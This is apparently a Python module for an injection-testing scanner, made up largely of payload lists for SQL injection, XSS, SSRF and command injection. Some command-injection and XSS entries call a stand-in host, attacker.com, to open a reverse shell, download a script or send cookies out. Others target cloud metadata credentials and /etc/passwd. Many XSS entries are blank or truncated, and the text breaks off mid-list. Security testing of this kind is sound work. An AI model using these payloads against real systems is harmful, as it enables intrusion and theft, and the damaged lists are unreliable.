""" fuzzer_scanner.py — Active XSS & SQL Injection Fuzzer ===================================================== Senior Security Engineer-grade injection testing module. This scanner: 1. Crawls the target page recursively using WebCrawler. 2. Injects curated SQLi and XSS payloads into every discovered input vector. 3. Analyses HTTP responses for database error signatures (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) and reflected XSS payload markers. 4. Performs boolean-based blind SQL injection checks. 5. Reports each confirmed injection point with severity, CVSS, evidence, and remediation guidance. """ import urllib.request, urllib.error, urllib.parse, ssl, re, time from html.parser import HTMLParser from scanners.base_scanner import BaseScanner from utils.web_crawler import WebCrawler from utils.fuzzer_engine import ContextAwareFuzzer, TYPE_MUTATIONS # ────────────────────────────────────────────────────────────────────── # Payload Sets # ────────────────────────────────────────────────────────────────────── SQLI_PAYLOADS = [ # Classic auth-bypass / error-based "' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' /*", '" OR "1"="1"', "1' AND 1=1 --", "1' AND 1=0 --", "' UNION SELECT NULL --", "' UNION SELECT NULL, NULL --", "'; WAITFOR DELAY '0:0:3' --", "1; SELECT SLEEP(3) --", "admin'--", "admin' #", "admin' --", "' OR 1=1#", "' OR 1=1--", '" OR 1=1--', "\" OR \"1\"=\"1", "' OR 'a'='a", "') OR ('1'='1", "1' ORDER BY 1 --", "1' ORDER BY 100 --", "' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --", ] XSS_PAYLOADS = [ '', '">', "'\">

", '

', '{{7*7}}', # SSTI probe '${7*7}', # Template injection probe '', '', '" onfocus="alert(1)" autofocus="', "';alert(1)//", '

', # Additional payloads from user XSS script "", "", "

", "", "", "

",
    "<iframe src='javascript:alert(\"XSS\")'>",
    "'\"><script>alert(String.fromCharCode(88,83,83))</script>",
    "<scr<script>ipt>alert('XSS')</scr</script>ipt>",
]

# Advanced Red-Team Payloads
TIME_BASED_SQLI = [
    "SLEEP(5)/*",
    "' OR SLEEP(5)='",
    "pg_sleep(5)--",
    "'; WAITFOR DELAY '0:0:5'--",
    "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
    "'; SELECT pg_sleep(5)--",
    "1; SELECT SLEEP(5)#",
    "' OR BENCHMARK(5000000,MD5(1))--",
    "1 AND SLEEP(5)#",
    "'; EXEC xp_cmdshell('ping 127.0.0.1 -n 5')--"
]

SSRF_PAYLOADS = [
    "http://169.254.169.254/latest/meta-data/",
    "http://127.0.0.1:80",
    "http://localhost:22",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://169.254.169.254/latest/user-data",
    "http://metadata.google.internal/computeMetadata/v1/",
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
    "http://0177.0.0.1",
    "http://0x7f.0.0.1",
    "http://2130706433",
    "file:///etc/passwd",
    "file:///windows/win.ini"
]

CMD_INJECTION_PAYLOADS = [
    "; cat /etc/passwd",
    "| type C:\\Windows\\win.ini",
    "`id`",
    "$(whoami)",
    "; ls -la",
    "| dir",
    "&& whoami",
    "; curl http://attacker.com/$(whoami)",
    "| powershell -c 'Get-Process'",
    "`nslookup attacker.com`",
    "; wget http://attacker.com/shell.sh",
    "$(curl http://attacker.com)",
    "; bash -i >& /dev/tcp/attacker.com/4444 0>&1",
    "| nc attacker.com 4444 -e /bin/bash"
]

# Advanced XSS Payloads for DOM-based and stored XSS
ADVANCED_XSS_PAYLOADS = [
    "<script>document.location='http://attacker.com/?c='+document.cookie</script>",
    "<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>",
    "<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>",
    "<details open ontoggle=alert(1)>",
    "<iframe srcdoc='<script>alert(1)</script>'>",
    "<object data='javascript:alert(1)'>",
    "<embed src='javascript:alert(1)'>",
    "<math><maction actiontype='statusline' onactivate=alert(1)>click</maction></math>",
    "<form><button formaction='javascript:alert(1)'>XSS</button></form>",
    "<input type='text' onfocus='alert(1)' autofocus>",
    "<select onfocus='alert(1)' autofocus><option>XSS</option></select>",
    "<textarea onfocus='alert(1)' autofocus>XSS

", "", "